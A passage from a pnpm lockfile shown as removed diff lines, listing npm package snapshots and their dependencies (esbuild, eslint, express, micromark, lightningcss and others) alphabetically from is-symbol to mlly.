is-symbol: 1.1.1 - - esbuild-plugins-node-modules-polyfill@1.8.1(esbuild@0.17.6): - dependencies: - '@jspm/core': 2.1.0 - esbuild: 0.17.6 - local-pkg: 1.1.2 - resolve.exports: 2.0.3 - - esbuild@0.17.6: - optionalDependencies: - '@esbuild/android-arm': 0.17.6 - '@esbuild/android-arm64': 0.17.6 - '@esbuild/android-x64': 0.17.6 - '@esbuild/darwin-arm64': 0.17.6 - '@esbuild/darwin-x64': 0.17.6 - '@esbuild/freebsd-arm64': 0.17.6 - '@esbuild/freebsd-x64': 0.17.6 - '@esbuild/linux-arm': 0.17.6 - '@esbuild/linux-arm64': 0.17.6 - '@esbuild/linux-ia32': 0.17.6 - '@esbuild/linux-loong64': 0.17.6 - '@esbuild/linux-mips64el': 0.17.6 - '@esbuild/linux-ppc64': 0.17.6 - '@esbuild/linux-riscv64': 0.17.6 - '@esbuild/linux-s390x': 0.17.6 - '@esbuild/linux-x64': 0.17.6 - '@esbuild/netbsd-x64': 0.17.6 - '@esbuild/openbsd-x64': 0.17.6 - '@esbuild/sunos-x64': 0.17.6 - '@esbuild/win32-arm64': 0.17.6 - '@esbuild/win32-ia32': 0.17.6 - '@esbuild/win32-x64': 0.17.6 - - esbuild@0.21.5: - optionalDependencies: - '@esbuild/aix-ppc64': 0.21.5 - '@esbuild/android-arm': 0.21.5 - '@esbuild/android-arm64': 0.21.5 - '@esbuild/android-x64': 0.21.5 - '@esbuild/darwin-arm64': 0.21.5 - '@esbuild/darwin-x64': 0.21.5 - '@esbuild/freebsd-arm64': 0.21.5 - '@esbuild/freebsd-x64': 0.21.5 - '@esbuild/linux-arm': 0.21.5 - '@esbuild/linux-arm64': 0.21.5 - '@esbuild/linux-ia32': 0.21.5 - '@esbuild/linux-loong64': 0.21.5 - '@esbuild/linux-mips64el': 0.21.5 - '@esbuild/linux-ppc64': 0.21.5 - '@esbuild/linux-riscv64': 0.21.5 - '@esbuild/linux-s390x': 0.21.5 - '@esbuild/linux-x64': 0.21.5 - '@esbuild/netbsd-x64': 0.21.5 - '@esbuild/openbsd-x64': 0.21.5 - '@esbuild/sunos-x64': 0.21.5 - '@esbuild/win32-arm64': 0.21.5 - '@esbuild/win32-ia32': 0.21.5 - '@esbuild/win32-x64': 0.21.5 - - escalade@3.2.0: {} - - escape-html@1.0.3: {} - - escape-string-regexp@4.0.0: {} - - eslint-plugin-react-hooks@4.6.2(eslint@8.57.1): - dependencies: - eslint: 8.57.1 - - eslint-plugin-react@7.37.5(eslint@8.57.1): - dependencies: - array-includes: 3.1.9 - array.prototype.findlast: 1.2.5 - array.prototype.flatmap: 1.3.3 - array.prototype.tosorted: 1.1.4 - doctrine: 2.1.0 - es-iterator-helpers: 1.2.2 - eslint: 8.57.1 - estraverse: 5.3.0 - hasown: 2.0.2 - jsx-ast-utils: 3.3.5 - minimatch: 3.1.5 - object.entries: 1.1.9 - object.fromentries: 2.0.8 - object.values: 1.2.1 - prop-types: 15.8.1 - resolve: 2.0.0-next.6 - semver: 6.3.1 - string.prototype.matchall: 4.0.12 - string.prototype.repeat: 1.0.0 - - eslint-scope@7.2.2: - dependencies: - esrecurse: 4.3.0 - estraverse: 5.3.0 - - eslint-visitor-keys@3.4.3: {} - - eslint@8.57.1: - dependencies: - '@eslint-community/eslint-utils': 4.9.1(eslint@8.57.1) - '@eslint-community/regexpp': 4.12.2 - '@eslint/eslintrc': 2.1.4 - '@eslint/js': 8.57.1 - '@humanwhocodes/config-array': 0.13.0 - '@humanwhocodes/module-importer': 1.0.1 - '@nodelib/fs.walk': 1.2.8 - '@ungap/structured-clone': 1.3.0 - ajv: 6.14.0 - chalk: 4.1.2 - cross-spawn: 7.0.6 - debug: 4.4.3 - doctrine: 3.0.0 - escape-string-regexp: 4.0.0 - eslint-scope: 7.2.2 - eslint-visitor-keys: 3.4.3 - espree: 9.6.1 - esquery: 1.7.0 - esutils: 2.0.3 - fast-deep-equal: 3.1.3 - file-entry-cache: 6.0.1 - find-up: 5.0.0 - glob-parent: 6.0.2 - globals: 13.24.0 - graphemer: 1.4.0 - ignore: 5.3.2 - imurmurhash: 0.1.4 - is-glob: 4.0.3 - is-path-inside: 3.0.3 - js-yaml: 4.1.1 - json-stable-stringify-without-jsonify: 1.0.1 - levn: 0.4.1 - lodash.merge: 4.6.2 - minimatch: 3.1.5 - natural-compare: 1.4.0 - optionator: 0.9.4 - strip-ansi: 6.0.1 - text-table: 0.2.0 - transitivePeerDependencies: - - supports-color - - espree@9.6.1: - dependencies: - acorn: 8.16.0 - acorn-jsx: 5.3.2(acorn@8.16.0) - eslint-visitor-keys: 3.4.3 - - esquery@1.7.0: - dependencies: - estraverse: 5.3.0 - - esrecurse@4.3.0: - dependencies: - estraverse: 5.3.0 - - estraverse@5.3.0: {} - - estree-util-attach-comments@2.1.1: - dependencies: - '@types/estree': 1.0.8 - - estree-util-build-jsx@2.2.2: - dependencies: - '@types/estree-jsx': 1.0.5 - estree-util-is-identifier-name: 2.1.0 - estree-walker: 3.0.3 - - estree-util-is-identifier-name@1.1.0: {} - - estree-util-is-identifier-name@2.1.0: {} - - estree-util-to-js@1.2.0: - dependencies: - '@types/estree-jsx': 1.0.5 - astring: 1.9.0 - source-map: 0.7.6 - - estree-util-value-to-estree@1.3.0: - dependencies: - is-plain-obj: 3.0.0 - - estree-util-visit@1.2.1: - dependencies: - '@types/estree-jsx': 1.0.5 - '@types/unist': 2.0.11 - - estree-walker@0.6.1: {} - - estree-walker@2.0.2: {} - - estree-walker@3.0.3: - dependencies: - '@types/estree': 1.0.8 - - esutils@2.0.3: {} - - etag@1.8.1: {} - - eval@0.1.8: - dependencies: - '@types/node': 25.3.2 - require-like: 0.1.2 - - event-target-shim@5.0.1: {} - - eventemitter3@4.0.7: {} - - execa@5.1.1: - dependencies: - cross-spawn: 7.0.6 - get-stream: 6.0.1 - human-signals: 2.1.0 - is-stream: 2.0.1 - merge-stream: 2.0.0 - npm-run-path: 4.0.1 - onetime: 5.1.2 - signal-exit: 3.0.7 - strip-final-newline: 2.0.0 - - exit-hook@2.2.1: {} - - express@4.22.1: - dependencies: - accepts: 1.3.8 - array-flatten: 1.1.1 - body-parser: 1.20.4 - content-disposition: 0.5.4 - content-type: 1.0.5 - cookie: 0.7.2 - cookie-signature: 1.0.7 - debug: 2.6.9 - depd: 2.0.0 - encodeurl: 2.0.0 - escape-html: 1.0.3 - etag: 1.8.1 - finalhandler: 1.3.2 - fresh: 0.5.2 - http-errors: 2.0.1 - merge-descriptors: 1.0.3 - methods: 1.1.2 - on-finished: 2.4.1 - parseurl: 1.3.3 - path-to-regexp: 0.1.12 - proxy-addr: 2.0.7 - qs: 6.14.2 - range-parser: 1.2.1 - safe-buffer: 5.2.1 - send: 0.19.2 - serve-static: 1.16.3 - setprototypeof: 1.2.0 - statuses: 2.0.2 - type-is: 1.6.18 - utils-merge: 1.0.1 - vary: 1.1.2 - transitivePeerDependencies: - - supports-color - - exsolve@1.0.8: {} - - extend@3.0.2: {} - - fast-deep-equal@3.1.3: {} - - fast-glob@3.3.3: - dependencies: - '@nodelib/fs.stat': 2.0.5 - '@nodelib/fs.walk': 1.2.8 - glob-parent: 5.1.2 - merge2: 1.4.1 - micromatch: 4.0.8 - - fast-json-stable-stringify@2.1.0: {} - - fast-levenshtein@2.0.6: {} - - fastq@1.20.1: - dependencies: - reusify: 1.1.0 - - fault@2.0.1: - dependencies: - format: 0.2.2 - - fdir@6.5.0(picomatch@4.0.3): - optionalDependencies: - picomatch: 4.0.3 - - file-entry-cache@6.0.1: - dependencies: - flat-cache: 3.2.0 - - fill-range@7.1.1: - dependencies: - to-regex-range: 5.0.1 - - finalhandler@1.3.2: - dependencies: - debug: 2.6.9 - encodeurl: 2.0.0 - escape-html: 1.0.3 - on-finished: 2.4.1 - parseurl: 1.3.3 - statuses: 2.0.2 - unpipe: 1.0.0 - transitivePeerDependencies: - - supports-color - - find-up@5.0.0: - dependencies: - locate-path: 6.0.0 - path-exists: 4.0.0 - - flat-cache@3.2.0: - dependencies: - flatted: 3.3.3 - keyv: 4.5.4 - rimraf: 3.0.2 - - flatted@3.3.3: {} - - for-each@0.3.5: - dependencies: - is-callable: 1.2.7 - - foreground-child@3.3.1: - dependencies: - cross-spawn: 7.0.6 - signal-exit: 4.1.0 - - format@0.2.2: {} - - forwarded@0.2.0: {} - - fraction.js@5.3.4: {} - - fresh@0.5.2: {} - - fs-constants@1.0.0: {} - - fs-extra@10.1.0: - dependencies: - graceful-fs: 4.2.11 - jsonfile: 6.2.0 - universalify: 2.0.1 - - fs-minipass@2.1.0: - dependencies: - minipass: 3.3.6 - - fs-minipass@3.0.3: - dependencies: - minipass: 7.1.3 - - fs.realpath@1.0.0: {} - - fsevents@2.3.2: - optional: true - - fsevents@2.3.3: - optional: true - - function-bind@1.1.2: {} - - function.prototype.name@1.1.8: - dependencies: - call-bind: 1.0.8 - call-bound: 1.0.4 - define-properties: 1.2.1 - functions-have-names: 1.2.3 - hasown: 2.0.2 - is-callable: 1.2.7 - - functions-have-names@1.2.3: {} - - generator-function@2.0.1: {} - - generic-names@4.0.0: - dependencies: - loader-utils: 3.3.1 - - gensync@1.0.0-beta.2: {} - - get-intrinsic@1.3.0: - dependencies: - call-bind-apply-helpers: 1.0.2 - es-define-property: 1.0.1 - es-errors: 1.3.0 - es-object-atoms: 1.1.1 - function-bind: 1.1.2 - get-proto: 1.0.1 - gopd: 1.2.0 - has-symbols: 1.1.0 - hasown: 2.0.2 - math-intrinsics: 1.1.0 - - get-nonce@1.0.1: {} - - get-port@5.1.1: {} - - get-proto@1.0.1: - dependencies: - dunder-proto: 1.0.1 - es-object-atoms: 1.1.1 - - get-stream@6.0.1: {} - - get-symbol-description@1.1.0: - dependencies: - call-bound: 1.0.4 - es-errors: 1.3.0 - get-intrinsic: 1.3.0 - - glob-parent@5.1.2: - dependencies: - is-glob: 4.0.3 - - glob-parent@6.0.2: - dependencies: - is-glob: 4.0.3 - - glob@10.5.0: - dependencies: - foreground-child: 3.3.1 - jackspeak: 3.4.3 - minimatch: 9.0.9 - minipass: 7.1.3 - package-json-from-dist: 1.0.1 - path-scurry: 1.11.1 - - glob@7.2.3: - dependencies: - fs.realpath: 1.0.0 - inflight: 1.0.6 - inherits: 2.0.4 - minimatch: 3.1.5 - once: 1.4.0 - path-is-absolute: 1.0.1 - - globals@13.24.0: - dependencies: - type-fest: 0.20.2 - - globalthis@1.0.4: - dependencies: - define-properties: 1.2.1 - gopd: 1.2.0 - - globby@11.1.0: - dependencies: - array-union: 2.1.0 - dir-glob: 3.0.1 - fast-glob: 3.3.3 - ignore: 5.3.2 - merge2: 1.4.1 - slash: 3.0.0 - - gopd@1.2.0: {} - - graceful-fs@4.2.11: {} - - graphemer@1.4.0: {} - - gunzip-maybe@1.4.2: - dependencies: - browserify-zlib: 0.1.4 - is-deflate: 1.0.0 - is-gzip: 1.0.0 - peek-stream: 1.1.3 - pumpify: 1.5.1 - through2: 2.0.5 - - has-bigints@1.1.0: {} - - has-flag@4.0.0: {} - - has-property-descriptors@1.0.2: - dependencies: - es-define-property: 1.0.1 - - has-proto@1.2.0: - dependencies: - dunder-proto: 1.0.1 - - has-symbols@1.1.0: {} - - has-tostringtag@1.0.2: - dependencies: - has-symbols: 1.1.0 - - hasown@2.0.2: - dependencies: - function-bind: 1.1.2 - - hast-util-to-estree@2.3.3: - dependencies: - '@types/estree': 1.0.8 - '@types/estree-jsx': 1.0.5 - '@types/hast': 2.3.10 - '@types/unist': 2.0.11 - comma-separated-tokens: 2.0.3 - estree-util-attach-comments: 2.1.1 - estree-util-is-identifier-name: 2.1.0 - hast-util-whitespace: 2.0.1 - mdast-util-mdx-expression: 1.3.2 - mdast-util-mdxjs-esm: 1.3.1 - property-information: 6.5.0 - space-separated-tokens: 2.0.2 - style-to-object: 0.4.4 - unist-util-position: 4.0.4 - zwitch: 2.0.4 - transitivePeerDependencies: - - supports-color - - hast-util-whitespace@2.0.1: {} - - hosted-git-info@6.1.3: - dependencies: - lru-cache: 7.18.3 - - http-errors@2.0.1: - dependencies: - depd: 2.0.0 - inherits: 2.0.4 - setprototypeof: 1.2.0 - statuses: 2.0.2 - toidentifier: 1.0.1 - - human-signals@2.1.0: {} - - iconv-lite@0.4.24: - dependencies: - safer-buffer: 2.1.2 - - icss-replace-symbols@1.1.0: {} - - icss-utils@5.1.0(postcss@8.5.8): - dependencies: - postcss: 8.5.8 - - ieee754@1.2.1: {} - - ignore@5.3.2: {} - - import-cwd@3.0.0: - dependencies: - import-from: 3.0.0 - - import-fresh@3.3.1: - dependencies: - parent-module: 1.0.1 - resolve-from: 4.0.0 - - import-from@3.0.0: - dependencies: - resolve-from: 5.0.0 - - imurmurhash@0.1.4: {} - - indent-string@4.0.0: {} - - inflight@1.0.6: - dependencies: - once: 1.4.0 - wrappy: 1.0.2 - - inherits@2.0.4: {} - - inline-style-parser@0.1.1: {} - - internal-slot@1.1.0: - dependencies: - es-errors: 1.3.0 - hasown: 2.0.2 - side-channel: 1.1.0 - - ipaddr.js@1.9.1: {} - - is-alphabetical@2.0.1: {} - - is-alphanumerical@2.0.1: - dependencies: - is-alphabetical: 2.0.1 - is-decimal: 2.0.1 - - is-arguments@1.2.0: - dependencies: - call-bound: 1.0.4 - has-tostringtag: 1.0.2 - - is-array-buffer@3.0.5: - dependencies: - call-bind: 1.0.8 - call-bound: 1.0.4 - get-intrinsic: 1.3.0 - - is-async-function@2.1.1: - dependencies: - async-function: 1.0.0 - call-bound: 1.0.4 - get-proto: 1.0.1 - has-tostringtag: 1.0.2 - safe-regex-test: 1.1.0 - - is-bigint@1.1.0: - dependencies: - has-bigints: 1.1.0 - - is-binary-path@2.1.0: - dependencies: - binary-extensions: 2.3.0 - - is-boolean-object@1.2.2: - dependencies: - call-bound: 1.0.4 - has-tostringtag: 1.0.2 - - is-buffer@2.0.5: {} - - is-callable@1.2.7: {} - - is-core-module@2.16.1: - dependencies: - hasown: 2.0.2 - - is-data-view@1.0.2: - dependencies: - call-bound: 1.0.4 - get-intrinsic: 1.3.0 - is-typed-array: 1.1.15 - - is-date-object@1.1.0: - dependencies: - call-bound: 1.0.4 - has-tostringtag: 1.0.2 - - is-decimal@2.0.1: {} - - is-deflate@1.0.0: {} - - is-extglob@2.1.1: {} - - is-finalizationregistry@1.1.1: - dependencies: - call-bound: 1.0.4 - - is-fullwidth-code-point@3.0.0: {} - - is-generator-function@1.1.2: - dependencies: - call-bound: 1.0.4 - generator-function: 2.0.1 - get-proto: 1.0.1 - has-tostringtag: 1.0.2 - safe-regex-test: 1.1.0 - - is-glob@4.0.3: - dependencies: - is-extglob: 2.1.1 - - is-gzip@1.0.0: {} - - is-hexadecimal@2.0.1: {} - - is-interactive@1.0.0: {} - - is-map@2.0.3: {} - - is-module@1.0.0: {} - - is-negative-zero@2.0.3: {} - - is-number-object@1.1.1: - dependencies: - call-bound: 1.0.4 - has-tostringtag: 1.0.2 - - is-number@7.0.0: {} - - is-path-inside@3.0.3: {} - - is-plain-obj@3.0.0: {} - - is-plain-obj@4.1.0: {} - - is-reference@1.2.1: - dependencies: - '@types/estree': 1.0.8 - - is-reference@3.0.3: - dependencies: - '@types/estree': 1.0.8 - - is-regex@1.2.1: - dependencies: - call-bound: 1.0.4 - gopd: 1.2.0 - has-tostringtag: 1.0.2 - hasown: 2.0.2 - - is-set@2.0.3: {} - - is-shared-array-buffer@1.0.4: - dependencies: - call-bound: 1.0.4 - - is-stream@2.0.1: {} - - is-string@1.1.1: - dependencies: - call-bound: 1.0.4 - has-tostringtag: 1.0.2 - - is-symbol@1.1.1: - dependencies: - call-bound: 1.0.4 - has-symbols: 1.1.0 - safe-regex-test: 1.1.0 - - is-typed-array@1.1.15: - dependencies: - which-typed-array: 1.1.20 - - is-unicode-supported@0.1.0: {} - - is-weakmap@2.0.2: {} - - is-weakref@1.1.1: - dependencies: - call-bound: 1.0.4 - - is-weakset@2.0.4: - dependencies: - call-bound: 1.0.4 - get-intrinsic: 1.3.0 - - isarray@1.0.0: {} - - isarray@2.0.5: {} - - isbot@5.1.36: {} - - isexe@2.0.0: {} - - iterator.prototype@1.1.5: - dependencies: - define-data-property: 1.1.4 - es-object-atoms: 1.1.1 - get-intrinsic: 1.3.0 - get-proto: 1.0.1 - has-symbols: 1.1.0 - set-function-name: 2.0.2 - - jackspeak@3.4.3: - dependencies: - '@isaacs/cliui': 8.0.2 - optionalDependencies: - '@pkgjs/parseargs': 0.11.0 - - javascript-stringify@2.1.0: {} - - jiti@2.6.1: {} - - js-tokens@4.0.0: {} - - js-yaml@4.1.1: - dependencies: - argparse: 2.0.1 - - jsesc@3.0.2: {} - - json-buffer@3.0.1: {} - - json-parse-even-better-errors@3.0.2: {} - - json-schema-traverse@0.4.1: {} - - json-stable-stringify-without-jsonify@1.0.1: {} - - json5@2.2.3: {} - - jsonfile@6.2.0: - dependencies: - universalify: 2.0.1 - optionalDependencies: - graceful-fs: 4.2.11 - - jsx-ast-utils@3.3.5: - dependencies: - array-includes: 3.1.9 - array.prototype.flat: 1.3.3 - object.assign: 4.1.7 - object.values: 1.2.1 - - keyv@4.5.4: - dependencies: - json-buffer: 3.0.1 - - kleur@4.1.5: {} - - levn@0.4.1: - dependencies: - prelude-ls: 1.2.1 - type-check: 0.4.0 - - lightningcss-android-arm64@1.32.0: - optional: true - - lightningcss-darwin-arm64@1.32.0: - optional: true - - lightningcss-darwin-x64@1.32.0: - optional: true - - lightningcss-freebsd-x64@1.32.0: - optional: true - - lightningcss-linux-arm-gnueabihf@1.32.0: - optional: true - - lightningcss-linux-arm64-gnu@1.32.0: - optional: true - - lightningcss-linux-arm64-musl@1.32.0: - optional: true - - lightningcss-linux-x64-gnu@1.32.0: - optional: true - - lightningcss-linux-x64-musl@1.32.0: - optional: true - - lightningcss-win32-arm64-msvc@1.32.0: - optional: true - - lightningcss-win32-x64-msvc@1.32.0: - optional: true - - lightningcss@1.32.0: - dependencies: - detect-libc: 2.1.2 - optionalDependencies: - lightningcss-android-arm64: 1.32.0 - lightningcss-darwin-arm64: 1.32.0 - lightningcss-darwin-x64: 1.32.0 - lightningcss-freebsd-x64: 1.32.0 - lightningcss-linux-arm-gnueabihf: 1.32.0 - lightningcss-linux-arm64-gnu: 1.32.0 - lightningcss-linux-arm64-musl: 1.32.0 - lightningcss-linux-x64-gnu: 1.32.0 - lightningcss-linux-x64-musl: 1.32.0 - lightningcss-win32-arm64-msvc: 1.32.0 - lightningcss-win32-x64-msvc: 1.32.0 - - lilconfig@2.1.0: {} - - lilconfig@3.1.3: {} - - loader-utils@3.3.1: {} - - local-pkg@1.1.2: - dependencies: - mlly: 1.8.0 - pkg-types: 2.3.0 - quansync: 0.2.11 - - locate-path@6.0.0: - dependencies: - p-locate: 5.0.0 - - lodash.camelcase@4.3.0: {} - - lodash.debounce@4.0.8: {} - - lodash.memoize@4.1.2: {} - - lodash.merge@4.6.2: {} - - lodash.uniq@4.5.0: {} - - lodash@4.17.23: {} - - log-symbols@4.1.0: - dependencies: - chalk: 4.1.2 - is-unicode-supported: 0.1.0 - - longest-streak@3.1.0: {} - - loose-envify@1.4.0: - dependencies: - js-tokens: 4.0.0 - - lru-cache@10.4.3: {} - - lru-cache@5.1.1: - dependencies: - yallist: 3.1.1 - - lru-cache@7.18.3: {} - - lucide-react@0.577.0(react@18.3.1): - dependencies: - react: 18.3.1 - - lucide-react@0.577.0(react@19.2.4): - dependencies: - react: 19.2.4 - - magic-string@0.30.21: - dependencies: - '@jridgewell/sourcemap-codec': 1.5.5 - - markdown-extensions@1.1.1: {} - - marked@14.0.0: {} - - math-intrinsics@1.1.0: {} - - mdast-util-definitions@5.1.2: - dependencies: - '@types/mdast': 3.0.15 - '@types/unist': 2.0.11 - unist-util-visit: 4.1.2 - - mdast-util-from-markdown@1.3.1: - dependencies: - '@types/mdast': 3.0.15 - '@types/unist': 2.0.11 - decode-named-character-reference: 1.3.0 - mdast-util-to-string: 3.2.0 - micromark: 3.2.0 - micromark-util-decode-numeric-character-reference: 1.1.0 - micromark-util-decode-string: 1.1.0 - micromark-util-normalize-identifier: 1.1.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - unist-util-stringify-position: 3.0.3 - uvu: 0.5.6 - transitivePeerDependencies: - - supports-color - - mdast-util-frontmatter@1.0.1: - dependencies: - '@types/mdast': 3.0.15 - mdast-util-to-markdown: 1.5.0 - micromark-extension-frontmatter: 1.1.1 - - mdast-util-mdx-expression@1.3.2: - dependencies: - '@types/estree-jsx': 1.0.5 - '@types/hast': 2.3.10 - '@types/mdast': 3.0.15 - mdast-util-from-markdown: 1.3.1 - mdast-util-to-markdown: 1.5.0 - transitivePeerDependencies: - - supports-color - - mdast-util-mdx-jsx@2.1.4: - dependencies: - '@types/estree-jsx': 1.0.5 - '@types/hast': 2.3.10 - '@types/mdast': 3.0.15 - '@types/unist': 2.0.11 - ccount: 2.0.1 - mdast-util-from-markdown: 1.3.1 - mdast-util-to-markdown: 1.5.0 - parse-entities: 4.0.2 - stringify-entities: 4.0.4 - unist-util-remove-position: 4.0.2 - unist-util-stringify-position: 3.0.3 - vfile-message: 3.1.4 - transitivePeerDependencies: - - supports-color - - mdast-util-mdx@2.0.1: - dependencies: - mdast-util-from-markdown: 1.3.1 - mdast-util-mdx-expression: 1.3.2 - mdast-util-mdx-jsx: 2.1.4 - mdast-util-mdxjs-esm: 1.3.1 - mdast-util-to-markdown: 1.5.0 - transitivePeerDependencies: - - supports-color - - mdast-util-mdxjs-esm@1.3.1: - dependencies: - '@types/estree-jsx': 1.0.5 - '@types/hast': 2.3.10 - '@types/mdast': 3.0.15 - mdast-util-from-markdown: 1.3.1 - mdast-util-to-markdown: 1.5.0 - transitivePeerDependencies: - - supports-color - - mdast-util-phrasing@3.0.1: - dependencies: - '@types/mdast': 3.0.15 - unist-util-is: 5.2.1 - - mdast-util-to-hast@12.3.0: - dependencies: - '@types/hast': 2.3.10 - '@types/mdast': 3.0.15 - mdast-util-definitions: 5.1.2 - micromark-util-sanitize-uri: 1.2.0 - trim-lines: 3.0.1 - unist-util-generated: 2.0.1 - unist-util-position: 4.0.4 - unist-util-visit: 4.1.2 - - mdast-util-to-markdown@1.5.0: - dependencies: - '@types/mdast': 3.0.15 - '@types/unist': 2.0.11 - longest-streak: 3.1.0 - mdast-util-phrasing: 3.0.1 - mdast-util-to-string: 3.2.0 - micromark-util-decode-string: 1.1.0 - unist-util-visit: 4.1.2 - zwitch: 2.0.4 - - mdast-util-to-string@3.2.0: - dependencies: - '@types/mdast': 3.0.15 - - mdn-data@2.0.14: {} - - media-query-parser@2.0.2: - dependencies: - '@babel/runtime': 7.28.6 - - media-typer@0.3.0: {} - - merge-descriptors@1.0.3: {} - - merge-stream@2.0.0: {} - - merge2@1.4.1: {} - - methods@1.1.2: {} - - micromark-core-commonmark@1.1.0: - dependencies: - decode-named-character-reference: 1.3.0 - micromark-factory-destination: 1.1.0 - micromark-factory-label: 1.1.0 - micromark-factory-space: 1.1.0 - micromark-factory-title: 1.1.0 - micromark-factory-whitespace: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-chunked: 1.1.0 - micromark-util-classify-character: 1.1.0 - micromark-util-html-tag-name: 1.2.0 - micromark-util-normalize-identifier: 1.1.0 - micromark-util-resolve-all: 1.1.0 - micromark-util-subtokenize: 1.1.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - - micromark-extension-frontmatter@1.1.1: - dependencies: - fault: 2.0.1 - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - - micromark-extension-mdx-expression@1.0.8: - dependencies: - '@types/estree': 1.0.8 - micromark-factory-mdx-expression: 1.0.9 - micromark-factory-space: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-events-to-acorn: 1.2.3 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - - micromark-extension-mdx-jsx@1.0.5: - dependencies: - '@types/acorn': 4.0.6 - '@types/estree': 1.0.8 - estree-util-is-identifier-name: 2.1.0 - micromark-factory-mdx-expression: 1.0.9 - micromark-factory-space: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - vfile-message: 3.1.4 - - micromark-extension-mdx-md@1.0.1: - dependencies: - micromark-util-types: 1.1.0 - - micromark-extension-mdxjs-esm@1.0.5: - dependencies: - '@types/estree': 1.0.8 - micromark-core-commonmark: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-events-to-acorn: 1.2.3 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - unist-util-position-from-estree: 1.1.2 - uvu: 0.5.6 - vfile-message: 3.1.4 - - micromark-extension-mdxjs@1.0.1: - dependencies: - acorn: 8.16.0 - acorn-jsx: 5.3.2(acorn@8.16.0) - micromark-extension-mdx-expression: 1.0.8 - micromark-extension-mdx-jsx: 1.0.5 - micromark-extension-mdx-md: 1.0.1 - micromark-extension-mdxjs-esm: 1.0.5 - micromark-util-combine-extensions: 1.1.0 - micromark-util-types: 1.1.0 - - micromark-factory-destination@1.1.0: - dependencies: - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - - micromark-factory-label@1.1.0: - dependencies: - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - - micromark-factory-mdx-expression@1.0.9: - dependencies: - '@types/estree': 1.0.8 - micromark-util-character: 1.2.0 - micromark-util-events-to-acorn: 1.2.3 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - unist-util-position-from-estree: 1.1.2 - uvu: 0.5.6 - vfile-message: 3.1.4 - - micromark-factory-space@1.1.0: - dependencies: - micromark-util-character: 1.2.0 - micromark-util-types: 1.1.0 - - micromark-factory-title@1.1.0: - dependencies: - micromark-factory-space: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - - micromark-factory-whitespace@1.1.0: - dependencies: - micromark-factory-space: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - - micromark-util-character@1.2.0: - dependencies: - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - - micromark-util-chunked@1.1.0: - dependencies: - micromark-util-symbol: 1.1.0 - - micromark-util-classify-character@1.1.0: - dependencies: - micromark-util-character: 1.2.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - - micromark-util-combine-extensions@1.1.0: - dependencies: - micromark-util-chunked: 1.1.0 - micromark-util-types: 1.1.0 - - micromark-util-decode-numeric-character-reference@1.1.0: - dependencies: - micromark-util-symbol: 1.1.0 - - micromark-util-decode-string@1.1.0: - dependencies: - decode-named-character-reference: 1.3.0 - micromark-util-character: 1.2.0 - micromark-util-decode-numeric-character-reference: 1.1.0 - micromark-util-symbol: 1.1.0 - - micromark-util-encode@1.1.0: {} - - micromark-util-events-to-acorn@1.2.3: - dependencies: - '@types/acorn': 4.0.6 - '@types/estree': 1.0.8 - '@types/unist': 2.0.11 - estree-util-visit: 1.2.1 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - vfile-message: 3.1.4 - - micromark-util-html-tag-name@1.2.0: {} - - micromark-util-normalize-identifier@1.1.0: - dependencies: - micromark-util-symbol: 1.1.0 - - micromark-util-resolve-all@1.1.0: - dependencies: - micromark-util-types: 1.1.0 - - micromark-util-sanitize-uri@1.2.0: - dependencies: - micromark-util-character: 1.2.0 - micromark-util-encode: 1.1.0 - micromark-util-symbol: 1.1.0 - - micromark-util-subtokenize@1.1.0: - dependencies: - micromark-util-chunked: 1.1.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - - micromark-util-symbol@1.1.0: {} - - micromark-util-types@1.1.0: {} - - micromark@3.2.0: - dependencies: - '@types/debug': 4.1.12 - debug: 4.4.3 - decode-named-character-reference: 1.3.0 - micromark-core-commonmark: 1.1.0 - micromark-factory-space: 1.1.0 - micromark-util-character: 1.2.0 - micromark-util-chunked: 1.1.0 - micromark-util-combine-extensions: 1.1.0 - micromark-util-decode-numeric-character-reference: 1.1.0 - micromark-util-encode: 1.1.0 - micromark-util-normalize-identifier: 1.1.0 - micromark-util-resolve-all: 1.1.0 - micromark-util-sanitize-uri: 1.2.0 - micromark-util-subtokenize: 1.1.0 - micromark-util-symbol: 1.1.0 - micromark-util-types: 1.1.0 - uvu: 0.5.6 - transitivePeerDependencies: - - supports-color - - micromatch@4.0.8: - dependencies: - braces: 3.0.3 - picomatch: 2.3.1 - - mime-db@1.52.0: {} - - mime-db@1.54.0: {} - - mime-types@2.1.35: - dependencies: - mime-db: 1.52.0 - - mime@1.6.0: {} - - mimic-fn@2.1.0: {} - - minimatch@3.1.5: - dependencies: - brace-expansion: 1.1.12 - - minimatch@9.0.3: - dependencies: - brace-expansion: 2.0.2 - - minimatch@9.0.9: - dependencies: - brace-expansion: 2.0.2 - - minimist@1.2.8: {} - - minipass-collect@1.0.2: - dependencies: - minipass: 3.3.6 - - minipass-flush@1.0.5: - dependencies: - minipass: 3.3.6 - - minipass-pipeline@1.2.4: - dependencies: - minipass: 3.3.6 - - minipass@3.3.6: - dependencies: - yallist: 4.0.0 - - minipass@5.0.0: {} - - minipass@7.1.3: {} - - minizlib@2.1.2: - dependencies: - minipass: 3.3.6 - yallist: 4.0.0 - - mkdirp-classic@0.5.3: {} - - mkdirp@1.0.4: {} - - mlly@1.8.0: - 